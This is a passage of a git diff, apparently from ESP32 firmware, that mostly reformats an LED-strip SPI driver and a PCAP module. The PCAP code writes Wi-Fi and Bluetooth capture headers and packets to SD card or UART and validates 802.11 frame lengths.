BIT(4) | BIT(3) : BIT(4); - *(buf + 0) |= data & BIT(7) ? BIT(7) | BIT(6) : BIT(7); +static void __led_strip_spi_bit(uint8_t data, uint8_t *buf) { + // Each color of 1 bit is represented by 3 bits of SPI, low_level:100 + // ,high_level:110 So a color byte occupies 3 bytes of SPI. + *(buf + 2) |= data & BIT(0) ? BIT(2) | BIT(1) : BIT(2); + *(buf + 2) |= data & BIT(1) ? BIT(5) | BIT(4) : BIT(5); + *(buf + 2) |= data & BIT(2) ? BIT(7) : 0x00; + *(buf + 1) |= BIT(0); + *(buf + 1) |= data & BIT(3) ? BIT(3) | BIT(2) : BIT(3); + *(buf + 1) |= data & BIT(4) ? BIT(6) | BIT(5) : BIT(6); + *(buf + 0) |= data & BIT(5) ? BIT(1) | BIT(0) : BIT(1); + *(buf + 0) |= data & BIT(6) ? BIT(4) | BIT(3) : BIT(4); + *(buf + 0) |= data & BIT(7) ? BIT(7) | BIT(6) : BIT(7); } -static esp_err_t led_strip_spi_set_pixel(led_strip_t *strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue) -{ - led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); - ESP_RETURN_ON_FALSE(index < spi_strip->strip_len, ESP_ERR_INVALID_ARG, TAG, "index out of maximum number of LEDs"); - // LED_PIXEL_FORMAT_GRB takes 72bits(9bytes) - uint32_t start = index * spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE; - memset(spi_strip->pixel_buf + start, 0, spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE); - __led_strip_spi_bit(green, &spi_strip->pixel_buf[start]); - __led_strip_spi_bit(red, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE]); - __led_strip_spi_bit(blue, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 2]); - if (spi_strip->bytes_per_pixel > 3) { - __led_strip_spi_bit(0, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 3]); - } - return ESP_OK; +static esp_err_t led_strip_spi_set_pixel(led_strip_t *strip, uint32_t index, + uint32_t red, uint32_t green, + uint32_t blue) { + led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); + ESP_RETURN_ON_FALSE(index < spi_strip->strip_len, ESP_ERR_INVALID_ARG, TAG, + "index out of maximum number of LEDs"); + // LED_PIXEL_FORMAT_GRB takes 72bits(9bytes) + uint32_t start = + index * spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE; + memset(spi_strip->pixel_buf + start, 0, + spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE); + __led_strip_spi_bit(green, &spi_strip->pixel_buf[start]); + __led_strip_spi_bit(red, + &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE]); + __led_strip_spi_bit( + blue, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 2]); + if (spi_strip->bytes_per_pixel > 3) { + __led_strip_spi_bit( + 0, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 3]); + } + return ESP_OK; } -static esp_err_t led_strip_spi_set_pixel_rgbw(led_strip_t *strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue, uint32_t white) -{ - led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); - ESP_RETURN_ON_FALSE(index < spi_strip->strip_len, ESP_ERR_INVALID_ARG, TAG, "index out of maximum number of LEDs"); - ESP_RETURN_ON_FALSE(spi_strip->bytes_per_pixel == 4, ESP_ERR_INVALID_ARG, TAG, "wrong LED pixel format, expected 4 bytes per pixel"); - // LED_PIXEL_FORMAT_GRBW takes 96bits(12bytes) - uint32_t start = index * spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE; - // SK6812 component order is GRBW - memset(spi_strip->pixel_buf + start, 0, spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE); - __led_strip_spi_bit(green, &spi_strip->pixel_buf[start]); - __led_strip_spi_bit(red, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE]); - __led_strip_spi_bit(blue, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 2]); - __led_strip_spi_bit(white, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 3]); - - return ESP_OK; +static esp_err_t led_strip_spi_set_pixel_rgbw(led_strip_t *strip, + uint32_t index, uint32_t red, + uint32_t green, uint32_t blue, + uint32_t white) { + led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); + ESP_RETURN_ON_FALSE(index < spi_strip->strip_len, ESP_ERR_INVALID_ARG, TAG, + "index out of maximum number of LEDs"); + ESP_RETURN_ON_FALSE(spi_strip->bytes_per_pixel == 4, ESP_ERR_INVALID_ARG, TAG, + "wrong LED pixel format, expected 4 bytes per pixel"); + // LED_PIXEL_FORMAT_GRBW takes 96bits(12bytes) + uint32_t start = + index * spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE; + // SK6812 component order is GRBW + memset(spi_strip->pixel_buf + start, 0, + spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE); + __led_strip_spi_bit(green, &spi_strip->pixel_buf[start]); + __led_strip_spi_bit(red, + &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE]); + __led_strip_spi_bit( + blue, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 2]); + __led_strip_spi_bit( + white, &spi_strip->pixel_buf[start + SPI_BYTES_PER_COLOR_BYTE * 3]); + + return ESP_OK; } -static esp_err_t led_strip_spi_refresh(led_strip_t *strip) -{ - led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); - spi_transaction_t tx_conf; - memset(&tx_conf, 0, sizeof(tx_conf)); +static esp_err_t led_strip_spi_refresh(led_strip_t *strip) { + led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); + spi_transaction_t tx_conf; + memset(&tx_conf, 0, sizeof(tx_conf)); - tx_conf.length = spi_strip->strip_len * spi_strip->bytes_per_pixel * SPI_BITS_PER_COLOR_BYTE; - tx_conf.tx_buffer = spi_strip->pixel_buf; - tx_conf.rx_buffer = NULL; - ESP_RETURN_ON_ERROR(spi_device_transmit(spi_strip->spi_device, &tx_conf), TAG, "transmit pixels by SPI failed"); + tx_conf.length = spi_strip->strip_len * spi_strip->bytes_per_pixel * + SPI_BITS_PER_COLOR_BYTE; + tx_conf.tx_buffer = spi_strip->pixel_buf; + tx_conf.rx_buffer = NULL; + ESP_RETURN_ON_ERROR(spi_device_transmit(spi_strip->spi_device, &tx_conf), TAG, + "transmit pixels by SPI failed"); - return ESP_OK; + return ESP_OK; } -static esp_err_t led_strip_spi_clear(led_strip_t *strip) -{ - led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); - //Write zero to turn off all leds - memset(spi_strip->pixel_buf, 0, spi_strip->strip_len * spi_strip->bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE); - uint8_t *buf = spi_strip->pixel_buf; - for (int index = 0; index < spi_strip->strip_len * spi_strip->bytes_per_pixel; index++) { - __led_strip_spi_bit(0, buf); - buf += SPI_BYTES_PER_COLOR_BYTE; - } +static esp_err_t led_strip_spi_clear(led_strip_t *strip) { + led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); + // Write zero to turn off all leds + memset(spi_strip->pixel_buf, 0, + spi_strip->strip_len * spi_strip->bytes_per_pixel * + SPI_BYTES_PER_COLOR_BYTE); + uint8_t *buf = spi_strip->pixel_buf; + for (int index = 0; index < spi_strip->strip_len * spi_strip->bytes_per_pixel; + index++) { + __led_strip_spi_bit(0, buf); + buf += SPI_BYTES_PER_COLOR_BYTE; + } - return led_strip_spi_refresh(strip); + return led_strip_spi_refresh(strip); } -static esp_err_t led_strip_spi_del(led_strip_t *strip) -{ - led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); +static esp_err_t led_strip_spi_del(led_strip_t *strip) { + led_strip_spi_obj *spi_strip = __containerof(strip, led_strip_spi_obj, base); - ESP_RETURN_ON_ERROR(spi_bus_remove_device(spi_strip->spi_device), TAG, "delete spi device failed"); - ESP_RETURN_ON_ERROR(spi_bus_free(spi_strip->spi_host), TAG, "free spi bus failed"); + ESP_RETURN_ON_ERROR(spi_bus_remove_device(spi_strip->spi_device), TAG, + "delete spi device failed"); + ESP_RETURN_ON_ERROR(spi_bus_free(spi_strip->spi_host), TAG, + "free spi bus failed"); - free(spi_strip); - return ESP_OK; + free(spi_strip); + return ESP_OK; } -esp_err_t led_strip_new_spi_device(const led_strip_config_t *led_config, const led_strip_spi_config_t *spi_config, led_strip_handle_t *ret_strip) -{ - led_strip_spi_obj *spi_strip = NULL; - esp_err_t ret = ESP_OK; - ESP_GOTO_ON_FALSE(led_config && spi_config && ret_strip, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - ESP_GOTO_ON_FALSE(led_config->led_pixel_format < LED_PIXEL_FORMAT_INVALID, ESP_ERR_INVALID_ARG, err, TAG, "invalid led_pixel_format"); - uint8_t bytes_per_pixel = 3; - if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRBW) { - bytes_per_pixel = 4; - } else if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRB) { - bytes_per_pixel = 3; - } else { - assert(false); - } - uint32_t mem_caps = MALLOC_CAP_DEFAULT; - if (spi_config->flags.with_dma) { - // DMA buffer must be placed in internal SRAM - mem_caps |= MALLOC_CAP_INTERNAL | MALLOC_CAP_DMA; - } - spi_strip = heap_caps_calloc(1, sizeof(led_strip_spi_obj) + led_config->max_leds * bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE, mem_caps); +esp_err_t led_strip_new_spi_device(const led_strip_config_t *led_config, + const led_strip_spi_config_t *spi_config, + led_strip_handle_t *ret_strip) { + led_strip_spi_obj *spi_strip = NULL; + esp_err_t ret = ESP_OK; + ESP_GOTO_ON_FALSE(led_config && spi_config && ret_strip, ESP_ERR_INVALID_ARG, + err, TAG, "invalid argument"); + ESP_GOTO_ON_FALSE(led_config->led_pixel_format < LED_PIXEL_FORMAT_INVALID, + ESP_ERR_INVALID_ARG, err, TAG, "invalid led_pixel_format"); + uint8_t bytes_per_pixel = 3; + if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRBW) { + bytes_per_pixel = 4; + } else if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRB) { + bytes_per_pixel = 3; + } else { + assert(false); + } + uint32_t mem_caps = MALLOC_CAP_DEFAULT; + if (spi_config->flags.with_dma) { + // DMA buffer must be placed in internal SRAM + mem_caps |= MALLOC_CAP_INTERNAL | MALLOC_CAP_DMA; + } + spi_strip = heap_caps_calloc(1, + sizeof(led_strip_spi_obj) + + led_config->max_leds * bytes_per_pixel * + SPI_BYTES_PER_COLOR_BYTE, + mem_caps); - ESP_GOTO_ON_FALSE(spi_strip, ESP_ERR_NO_MEM, err, TAG, "no mem for spi strip"); + ESP_GOTO_ON_FALSE(spi_strip, ESP_ERR_NO_MEM, err, TAG, + "no mem for spi strip"); - spi_strip->spi_host = spi_config->spi_bus; - // for backward compatibility, if the user does not set the clk_src, use the default value - spi_clock_source_t clk_src = SPI_CLK_SRC_DEFAULT; - if (spi_config->clk_src) { - clk_src = spi_config->clk_src; - } + spi_strip->spi_host = spi_config->spi_bus; + // for backward compatibility, if the user does not set the clk_src, use the + // default value + spi_clock_source_t clk_src = SPI_CLK_SRC_DEFAULT; + if (spi_config->clk_src) { + clk_src = spi_config->clk_src; + } - spi_bus_config_t spi_bus_cfg = { - .mosi_io_num = led_config->strip_gpio_num, - //Only use MOSI to generate the signal, set -1 when other pins are not used. - .miso_io_num = -1, - .sclk_io_num = -1, - .quadwp_io_num = -1, - .quadhd_io_num = -1, - .max_transfer_sz = led_config->max_leds * bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE, - }; - ESP_GOTO_ON_ERROR(spi_bus_initialize(spi_strip->spi_host, &spi_bus_cfg, spi_config->flags.with_dma ? SPI_DMA_CH_AUTO : SPI_DMA_DISABLED), err, TAG, "create SPI bus failed"); - - if (led_config->flags.invert_out == true) { - esp_rom_gpio_connect_out_signal(led_config->strip_gpio_num, spi_periph_signal[spi_strip->spi_host].spid_out, true, false); - } + spi_bus_config_t spi_bus_cfg = { + .mosi_io_num = led_config->strip_gpio_num, + // Only use MOSI to generate the signal, set -1 when other pins are not + // used. + .miso_io_num = -1, + .sclk_io_num = -1, + .quadwp_io_num = -1, + .quadhd_io_num = -1, + .max_transfer_sz = + led_config->max_leds * bytes_per_pixel * SPI_BYTES_PER_COLOR_BYTE, + }; + ESP_GOTO_ON_ERROR(spi_bus_initialize(spi_strip->spi_host, &spi_bus_cfg, + spi_config->flags.with_dma + ? SPI_DMA_CH_AUTO + : SPI_DMA_DISABLED), + err, TAG, "create SPI bus failed"); - spi_device_interface_config_t spi_dev_cfg = { - .clock_source = clk_src, - .command_bits = 0, - .address_bits = 0, - .dummy_bits = 0, - .clock_speed_hz = LED_STRIP_SPI_DEFAULT_RESOLUTION, - .mode = 0, - //set -1 when CS is not used - .spics_io_num = -1, - .queue_size = LED_STRIP_SPI_DEFAULT_TRANS_QUEUE_SIZE, - }; - - ESP_GOTO_ON_ERROR(spi_bus_add_device(spi_strip->spi_host, &spi_dev_cfg, &spi_strip->spi_device), err, TAG, "Failed to add spi device"); - //ensure the reset time is enough - esp_rom_delay_us(10); - int clock_resolution_khz = 0; - spi_device_get_actual_freq(spi_strip->spi_device, &clock_resolution_khz); - // TODO: ideally we should decide the SPI_BYTES_PER_COLOR_BYTE by the real clock resolution - // But now, let's fixed the resolution, the downside is, we don't support a clock source whose frequency is not multiple of LED_STRIP_SPI_DEFAULT_RESOLUTION - // clock_resolution between 2.2MHz to 2.8MHz is supported - ESP_GOTO_ON_FALSE((clock_resolution_khz < LED_STRIP_SPI_DEFAULT_RESOLUTION / 1000 + 300) && (clock_resolution_khz > LED_STRIP_SPI_DEFAULT_RESOLUTION / 1000 - 300), ESP_ERR_NOT_SUPPORTED, err, - TAG, "unsupported clock resolution:%dKHz", clock_resolution_khz); - - spi_strip->bytes_per_pixel = bytes_per_pixel; - spi_strip->strip_len = led_config->max_leds; - spi_strip->base.set_pixel = led_strip_spi_set_pixel; - spi_strip->base.set_pixel_rgbw = led_strip_spi_set_pixel_rgbw; - spi_strip->base.refresh = led_strip_spi_refresh; - spi_strip->base.clear = led_strip_spi_clear; - spi_strip->base.del = led_strip_spi_del; - - *ret_strip = &spi_strip->base; - return ESP_OK; + if (led_config->flags.invert_out == true) { + esp_rom_gpio_connect_out_signal( + led_config->strip_gpio_num, + spi_periph_signal[spi_strip->spi_host].spid_out, true, false); + } + + spi_device_interface_config_t spi_dev_cfg = { + .clock_source = clk_src, + .command_bits = 0, + .address_bits = 0, + .dummy_bits = 0, + .clock_speed_hz = LED_STRIP_SPI_DEFAULT_RESOLUTION, + .mode = 0, + // set -1 when CS is not used + .spics_io_num = -1, + .queue_size = LED_STRIP_SPI_DEFAULT_TRANS_QUEUE_SIZE, + }; + + ESP_GOTO_ON_ERROR(spi_bus_add_device(spi_strip->spi_host, &spi_dev_cfg, + &spi_strip->spi_device), + err, TAG, "Failed to add spi device"); + // ensure the reset time is enough + esp_rom_delay_us(10); + int clock_resolution_khz = 0; + spi_device_get_actual_freq(spi_strip->spi_device, &clock_resolution_khz); + // TODO: ideally we should decide the SPI_BYTES_PER_COLOR_BYTE by the real + // clock resolution But now, let's fixed the resolution, the downside is, we + // don't support a clock source whose frequency is not multiple of + // LED_STRIP_SPI_DEFAULT_RESOLUTION clock_resolution between 2.2MHz to 2.8MHz + // is supported + ESP_GOTO_ON_FALSE( + (clock_resolution_khz < LED_STRIP_SPI_DEFAULT_RESOLUTION / 1000 + 300) && + (clock_resolution_khz > + LED_STRIP_SPI_DEFAULT_RESOLUTION / 1000 - 300), + ESP_ERR_NOT_SUPPORTED, err, TAG, "unsupported clock resolution:%dKHz", + clock_resolution_khz); + + spi_strip->bytes_per_pixel = bytes_per_pixel; + spi_strip->strip_len = led_config->max_leds; + spi_strip->base.set_pixel = led_strip_spi_set_pixel; + spi_strip->base.set_pixel_rgbw = led_strip_spi_set_pixel_rgbw; + spi_strip->base.refresh = led_strip_spi_refresh; + spi_strip->base.clear = led_strip_spi_clear; + spi_strip->base.del = led_strip_spi_del; + + *ret_strip = &spi_strip->base; + return ESP_OK; err: - if (spi_strip) { - if (spi_strip->spi_device) { - spi_bus_remove_device(spi_strip->spi_device); - } - if (spi_strip->spi_host) { - spi_bus_free(spi_strip->spi_host); - } - free(spi_strip); + if (spi_strip) { + if (spi_strip->spi_device) { + spi_bus_remove_device(spi_strip->spi_device); + } + if (spi_strip->spi_host) { + spi_bus_free(spi_strip->spi_host); } - return ret; + free(spi_strip); + } + return ret; } diff --git a/main/vendor/pcap.c b/main/vendor/pcap.c index b1a0c37f..03403be7 100644 --- a/main/vendor/pcap.c +++ b/main/vendor/pcap.c @@ -1,505 +1,517 @@ -#include -#include -#include +#include "vendor/pcap.h" +#include "core/utils.h" +#include "driver/uart.h" #include "esp_log.h" #include "esp_vfs_fat.h" +#include "managers/sd_card_manager.h" #include "sys/time.h" -#include "vendor/pcap.h" -#include "driver/uart.h" +#include #include -#include "core/utils.h" +#include +#include +#include #include -#include -#include "managers/sd_card_manager.h" #define RADIOTAP_HEADER_LEN 8 static const char *PCAP_TAG = "PCAP"; static bool is_valid_tag_length(uint8_t tag_num, uint8_t tag_len); -static bool is_valid_beacon_fixed_params(const uint8_t* frame, size_t offset, size_t max_len); +static bool is_valid_beacon_fixed_params(const uint8_t *frame, size_t offset, + size_t max_len); typedef struct { - uint8_t packet_type; // HCI packet type (1 byte) - uint16_t length; // Length of data (2 bytes) - uint8_t data[256]; // HCI packet data + uint8_t packet_type; // HCI packet type (1 byte) + uint16_t length; // Length of data (2 bytes) + uint8_t data[256]; // HCI packet data } __attribute__((packed)) hci_packet_t; esp_err_t pcap_init(void) { - if (pcap_mutex != NULL) { - // Already initialized - return ESP_OK; - } - - pcap_mutex = xSemaphoreCreateMutex(); - if (pcap_mutex == NULL) { - ESP_LOGE(PCAP_TAG, "Failed to create PCAP mutex"); - return ESP_FAIL; - } - - ESP_LOGI(PCAP_TAG, "PCAP mutex initialized successfully"); + if (pcap_mutex != NULL) { + // Already initialized return ESP_OK; + } + + pcap_mutex = xSemaphoreCreateMutex(); + if (pcap_mutex == NULL) { + ESP_LOGE(PCAP_TAG, "Failed to create PCAP mutex"); + return ESP_FAIL; + } + + ESP_LOGI(PCAP_TAG, "PCAP mutex initialized successfully"); + return ESP_OK; } -esp_err_t pcap_write_global_header(FILE* f, pcap_capture_type_t capture_type) { - pcap_global_header_t header = { - .magic_number = 0xa1b2c3d4, - .version_major = 2, - .version_minor = 4, - .thiszone = 0, - .sigfigs = 0, - .snaplen = 65535, - .network = (capture_type == PCAP_CAPTURE_BLUETOOTH) ? - DLT_BLUETOOTH_HCI_H4 : DLT_IEEE802_11_RADIO - }; +esp_err_t pcap_write_global_header(FILE *f, pcap_capture_type_t capture_type) { + pcap_global_header_t header = {.magic_number = 0xa1b2c3d4, + .version_major = 2, + .version_minor = 4, + .thiszone = 0, + .sigfigs = 0, + .snaplen = 65535, + .network = + (capture_type == PCAP_CAPTURE_BLUETOOTH) + ? DLT_BLUETOOTH_HCI_H4 + : DLT_IEEE802_11_RADIO}; - if (f == NULL) - { - const char* mark_begin = "[BUF/BEGIN]"; - const size_t mark_begin_len = strlen(mark_begin); - const char* mark_close = "[BUF/CLOSE]"; - const size_t mark_close_len = strlen(mark_close); + if (f == NULL) { + const char *mark_begin = "[BUF/BEGIN]"; + const size_t mark_begin_len = strlen(mark_begin); + const char *mark_close = "[BUF/CLOSE]"; + const size_t mark_close_len = strlen(mark_close); - uart_write_bytes(UART_NUM_0, mark_begin, mark_begin_len); + uart_write_bytes(UART_NUM_0, mark_begin, mark_begin_len); - - uart_write_bytes(UART_NUM_0, (const char*)&header, sizeof(header)); + uart_write_bytes(UART_NUM_0, (const char *)&header, sizeof(header)); - - uart_write_bytes(UART_NUM_0, mark_close, mark_close_len); + uart_write_bytes(UART_NUM_0, mark_close, mark_close_len); - - const char* newline = "\n"; - uart_write_bytes(UART_NUM_0, newline, 1); - return ESP_OK; - } - else - { - size_t written = fwrite(&header, 1, sizeof(header), f); - return (written == sizeof(header)) ? ESP_OK : ESP_FAIL; - } + const char *newline = "\n"; + uart_write_bytes(UART_NUM_0, newline, 1); + return ESP_OK; + } else { + size_t written = fwrite(&header, 1, sizeof(header), f); + return (written == sizeof(header)) ? ESP_OK : ESP_FAIL; + } } -void get_next_pcap_file_name(char *file_name_buffer, const char* base_name) { - int next_index = get_next_pcap_file_index(base_name); - snprintf(file_name_buffer, MAX_FILE_NAME_LENGTH, "/mnt/ghostesp/pcaps/%s_%d.pcap", base_name, next_index); +void get_next_pcap_file_name(char *file_name_buffer, const char *base_name) { + int next_index = get_next_pcap_file_index(base_name); + snprintf(file_name_buffer, MAX_FILE_NAME_LENGTH, + "/mnt/ghostesp/pcaps/%s_%d.pcap", base_name, next_index); } -esp_err_t pcap_file_open(const char* base_file_name, pcap_capture_type_t capture_type) { - // First ensure PCAP is initialized - esp_err_t init_ret = pcap_init(); - if (init_ret != ESP_OK) { - ESP_LOGE(PCAP_TAG, "Failed to initialize PCAP"); - return init_ret; +esp_err_t pcap_file_open(const char *base_file_name, + pcap_capture_type_t capture_type) { + // First ensure PCAP is initialized + esp_err_t init_ret = pcap_init(); + if (init_ret != ESP_OK) { + ESP_LOGE(PCAP_TAG, "Failed to initialize PCAP"); + return init_ret; + } + + char file_name[MAX_FILE_NAME_LENGTH]; + + if (sd_card_exists("/mnt/ghostesp/pcaps")) { + get_next_pcap_file_name(file_name, base_file_name); + pcap_file = fopen(file_name, "wb"); + if (!pcap_file) { + printf("PCAP file is not open. Flushing to Serial..."); } + } - char file_name[MAX_FILE_NAME_LENGTH]; - - if (sd_card_exists("/mnt/ghostesp/pcaps")) - { - get_next_pcap_file_name(file_name, base_file_name); - pcap_file = fopen(file_name, "wb"); - } - - esp_err_t ret = pcap_write_global_header(pcap_file, capture_type); - if (ret != ESP_OK) { - ESP_LOGE(PCAP_TAG, "Failed to write PCAP global header."); - fclose(pcap_file); - pcap_file = NULL; - return ret; - } + esp_err_t ret = pcap_write_global_header(pcap_file, capture_type); + if (ret != ESP_OK) { + ESP_LOGE(PCAP_TAG, "Failed to write PCAP global header."); + fclose(pcap_file); + pcap_file = NULL; + return ret; + } - ESP_LOGI(PCAP_TAG, "PCAP file %s opened and global header written.", file_name); - return ESP_OK; + ESP_LOGI(PCAP_TAG, "PCAP file %s opened and global header written.", + file_name); + return ESP_OK; } -static size_t calculate_wifi_frame_length(const uint8_t* frame, size_t max_len) { - if (frame == NULL || max_len < 2) return 0; - - uint16_t frame_control = frame[0] | (frame[1] << 8); - uint8_t type = (frame_control >> 2) & 0x3; - uint8_t subtype = (frame_control >> 4) & 0xF; - uint8_t to_ds = (frame_control >> 8) & 0x1; - uint8_t from_ds = (frame_control >> 9) & 0x1; - - size_t length = 24; // Basic MAC header length - - switch (type) { - case 0x0: // Management frames - if (max_len < length) return max_len; - - // Handle fixed parameters - switch (subtype) { - case 0x8: // Beacon - case 0x5: // Probe Response - if (max_len < length + 12) return length; - if (subtype == 0x8 && !is_valid_beacon_fixed_params(frame, length, max_len)) { - return length; - } - length += 12; - break; - - case 0x0: // Association Request - if (max_len < length + 4) return length; - length += 4; - break; - - case 0xb: // Authentication - if (max_len < length + 6) return length; - length += 6; - break; - - case 0xd: // Action - if (max_len < length + 1) return length; - length += 1; - break; - } - - // Process tagged parameters with validation - if (max_len > length) { - size_t pos = length; - while (pos + 2 <= max_len) { - uint8_t tag_num = frame[pos]; - uint8_t tag_len = frame[pos + 1]; - - if (pos + 2 + tag_len > max_len) { - length = pos; - break; - } - - if (!is_valid_tag_length(tag_num, tag_len)) { - length = pos; - break; - } - - pos += 2 + tag_len; - - // Check for padding or end of tags - if (tag_num == 0 && tag_len == 0) { - break; - } - } - length = pos; - } - break; - - case 0x1: // Control frames - switch (subtype) { - case 0xB: // RTS - length = 16; - break; - case 0xC: // CTS - case 0xD: // ACK - length = 10; - break; - default: - length = 16; // Default for other control frames - } - break; - - case 0x2: // Data frames - if (to_ds && from_ds) { - if (max_len < 30) return max_len; - length = 30; - } - - if ((subtype & 0x8) != 0) { // QoS data - if (max_len < length + 2) return length; - length += 2; - } - - if (max_len > length) { - size_t data_len = max_len - length; - if (data_len >= 8) { // Minimum LLC/SNAP header - length = max_len; - } - } - break; +static size_t calculate_wifi_frame_length(const uint8_t *frame, + size_t max_len) { + if (frame == NULL || max_len < 2) + return 0; + + uint16_t frame_control = frame[0] | (frame[1] << 8); + uint8_t type = (frame_control >> 2) & 0x3; + uint8_t subtype = (frame_control >> 4) & 0xF; + uint8_t to_ds = (frame_control >> 8) & 0x1; + uint8_t from_ds = (frame_control >> 9) & 0x1; + + size_t length = 24; // Basic MAC header length + + switch (type) { + case 0x0: // Management frames + if (max_len < length) + return max_len; + + // Handle fixed parameters + switch (subtype) { + case 0x8: // Beacon + case 0x5: // Probe Response + if (max_len < length + 12) + return length; + if (subtype == 0x8 && + !is_valid_beacon_fixed_params(frame, length, max_len)) { + return length; + } + length += 12; + break; + + case 0x0: // Association Request + if (max_len < length + 4) + return length; + length += 4; + break; + + case 0xb: // Authentication + if (max_len < length + 6) + return length; + length += 6; + break; + + case 0xd: // Action + if (max_len < length + 1) + return length; + length += 1; + break; } - - return (length <= max_len) ? length : max_len; -} -static bool is_valid_tag_length(uint8_t tag_num, uint8_t tag_len) { - switch (tag_num) { - case 9: // Hopping Pattern Table - return tag_len >= 4; - case 32: // Power Constraint - return tag_len == 1; - case 33: // Power Capability - return tag_len == 2; - case 35: // TPC Report - return tag_len == 2; - case 36: // Channels - return tag_len >= 3; - case 37: // Channel Switch Announcement - return tag_len == 3; - case 38: // Measurement Request - return tag_len >= 3; - case 39: // Measurement Report - return tag_len >= 3; - case 41: // IBSS DFS - return tag_len >= 7; - case 45: // HT Capabilities - return tag_len == 26; - case 47: // HT Operation - return tag_len >= 22; - case 48: // RSN - return tag_len >= 2; - case 51: // AP Channel Report - return tag_len >= 3; - case 61: // HT Operation - return tag_len >= 22; - case 74: // Overlapping BSS Scan Parameters - return tag_len == 14; - case 107: // Interworking - return tag_len >= 1; - case 127: // Extended Capabilities - return tag_len >= 1; - case 142: // Page Slice - return tag_len >= 3; - case 191: // VHT Capabilities - return tag_len == 12; - case 192: // VHT Operation - return tag_len >= 5; - case 195: // VHT Transmit Power Envelope - return tag_len >= 2; - case 216: // Target Wake Time - return tag_len >= 4; - case 221: // Vendor Specific - return tag_len >= 3; - case 232: // DMG Operation - return tag_len >= 5; - case 235: // S1G Beacon Compatibility - return tag_len >= 7; - case 255: // Extended tag - return tag_len >= 1; - case 42: // ERP Information - return tag_len == 1; - case 50: // Extended Supported Rates - return tag_len > 0; - case 93: // WNM-Sleep Mode - return tag_len >= 4; - case 62: // Secondary Channel Offset - return tag_len == 1; - default: - return true; // All other tags can have any length - } -} + // Process tagged parameters with validation + if (max_len > length) { + size_t pos = length; + while (pos + 2 <= max_len) { + uint8_t tag_num = frame[pos]; + uint8_t tag_len = frame[pos + 1]; -static bool is_valid_beacon_fixed_params(const uint8_t* frame, size_t offset, size_t max_len) { - if (offset + 12 > max_len) return false; - - // Skip timestamp (8 bytes) as it can be any value - - // Check beacon interval (2 bytes) - typically between 1-65535 - uint16_t beacon_interval = frame[offset + 8] | (frame[offset + 9] << 8); - if (beacon_interval == 0) return false; - - // Check capability info (2 bytes) - must have some bits set - uint16_t capability = frame[offset + 10] | (frame[offset + 11] << 8); - if ((capability & 0x0001) == 0 && (capability & 0x0002) == 0) { - // At least one of ESS or IBSS must be set - return false; - } - - return true; -} + if (pos + 2 + tag_len > max_len) { + length = pos; + break; + } -esp_err_t pcap_write_packet_to_buffer(const void* packet, size_t length, pcap_capture_type_t capture_type) { - if (packet == NULL || length < 2) { - ESP_LOGE(PCAP_TAG, "Invalid packet data"); - return ESP_ERR_INVALID_ARG; - } + if (!is_valid_tag_length(tag_num, tag_len)) { + length = pos; + break; + } - if (xSemaphoreTake(pcap_mutex, pdMS_TO_TICKS(1000)) != pdTRUE) { - ESP_LOGE(PCAP_TAG, "Failed to take mutex"); - return ESP_ERR_TIMEOUT; - } + pos += 2 + tag_len; - size_t actual_length; - size_t header_length = 0; - - if (capture_type == PCAP_CAPTURE_WIFI) { - const uint8_t* frame = (const uint8_t*)packet; - actual_length = calculate_wifi_frame_length(frame, length); - header_length = RADIOTAP_HEADER_LEN; - } else if (capture_type == PCAP_CAPTURE_BLUETOOTH) { - const uint8_t* raw_packet = (const uint8_t*)packet; - - // Add Bluetooth H4 header (4 bytes) - uint8_t h4_header[4] = { - 0x00, // Direction: Host to Controller - raw_packet[0], // HCI packet type - 0x00, 0x00 // Reserved - }; - - // Calculate total length including H4 header - actual_length = length + sizeof(h4_header); - header_length = 0; - - // Copy H4 header and packet data to a temporary buffer - uint8_t* temp_buffer = malloc(actual_length); - if (!temp_buffer) { - xSemaphoreGive(pcap_mutex); - return ESP_ERR_NO_MEM; - } - - memcpy(temp_buffer, h4_header, sizeof(h4_header)); - memcpy(temp_buffer + sizeof(h4_header), packet, length); - - // Update packet pointer and length - packet = temp_buffer; - ESP_LOGI(PCAP_TAG, "Writing BT packet with H4 header, total len=%d", actual_length); - } else { - const uint8_t* hci_packet = (const 